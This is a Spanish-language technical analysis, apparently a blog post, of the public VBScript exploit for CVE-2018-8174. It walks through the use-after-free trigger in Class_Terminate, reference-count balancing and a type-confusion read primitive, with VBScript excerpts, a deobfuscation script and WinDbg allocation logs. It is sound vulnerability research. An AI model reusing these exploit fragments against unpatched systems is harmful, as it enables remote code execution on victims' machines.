
Análisis del exploit VBS CVE-2018-8174
Cuando este exploit surgió por primera vez a finales de abril y principios de mayo, despertó mi interés, ya que a pesar de una fuerte ofuscación, la estructura del código parecía bien organizada y el código de explotación de la vulnerabilidad lo suficientemente pequeño como para hacer el análisis más simple. Descargué el PoC de github y decidí que sería un buen candidato para echar un vistazo bajo el capó. En ese momento ya se habían publicado dos análisis, primero de 360 y segundo de Kaspersky. Ambos me ayudaron a entender cómo funcionaba, pero no fueron suficientes para comprender profundamente cada aspecto del exploit. Por eso decidí analizarlo por mi cuenta y compartir mis hallazgos.
Primero, para eliminar la ofuscación de enteros, utilicé sustitución regex en un script de Python:
import re
def process(matchobj):
line = matchobj.group(1)
line = line.lower().replace('&h', '0x')
return str(eval(line)) # extremadamente seguro :)
data = open('analysis.vbs', 'r').read()
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)
En cuanto a los nombres ofuscados, los renombré progresivamente durante el análisis. Este análisis se lee mejor con el código fuente al cual se proporciona un enlace al final.
La vulnerabilidad ocurre cuando se finaliza un objeto y se llama a la función personalizada Class_Terminate(). En esta función, se guarda una referencia al objeto que se está liberando en UafArray. A partir de ahora, UafArray(i) se refiere al objeto eliminado.
Class ClassTerminateA
Private Sub Class_Terminate()
Set UafArrayA(UafCounter)=FreedObjectArray(1)
UafCounter=UafCounter+1
FreedObjectArray(1)=1 ' arreglar contador de referencias
End Sub
End Class
...
UafCounter=0
For idx=0 To 6
ReDim FreedObjectArray(1)
Set FreedObjectArray(1)=New ClassTerminateA
Erase FreedObjectArray
Next
Observe también la última línea en Class_Terminate(). Cuando copiamos el objeto ClassTerminate a UafArray, su contador de referencias se incrementa. Para equilibrarlo, lo liberamos de nuevo asignando otro valor a FreedObjectArray. Sin esto, la memoria del objeto no se liberaría a pesar de llamar a Class_Terminate sobre él y el siguiente objeto no se asignaría en su lugar.

La creación y eliminación de nuevos objetos se repite 7 veces en un bucle; después de eso, se crea un nuevo objeto de la clase ReuseClass. Se asigna en la misma memoria que anteriormente estaba ocupada por las 7 instancias de ClassTerminate.
Para entenderlo mejor, aquí hay un script simple de WinDbg que rastrea todas esas asignaciones:
bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";
Aquí está el registro de asignación de la función UafTrigger:
Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600
Podemos ver inmediatamente que ReuseClass se asigna efectivamente en la misma memoria que se asignó a las 7 instancias anteriores de ClassTerminate.
Esto se repite dos veces. Terminamos con dos objetos referenciados por UafArrays. Ninguna de estas referencias se refleja en el contador de referencias del objeto.
En este registro también podemos notar que incluso después de que se llamó a Class_Terminate, hay algunas manipulaciones del objeto que cambian su contador de referencias.
Por eso, si no equilibráramos este contador en Class_Terminate, obtendríamos algo como esto:
Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740
Diferentes direcciones de asignación. El exploit fallaría al crear la condición de use after free.
Habiendo creado esos dos objetos con 7 referencias no contabilizadas a cada uno, establecimos una primitiva de lectura de memoria arbitraria.
Hay dos clases similares ReuseClass y FakeReuseClass. Al reemplazar la primera clase por la segunda, se produce una type confusion en el miembro mem.
Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
mem=Value ' en realidad llamará a Default Property Get
SetProp=0
End Function
End Class
Class FakeReuseClass
Dim mem
Function ReadBstrValll
ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class
En la función SetProp, se guarda ReuseClass.mem y se llama a Default Property Get de la clase ReplacingClass_*; el resultado de esa llamada se colocará en ReuseClass.mem.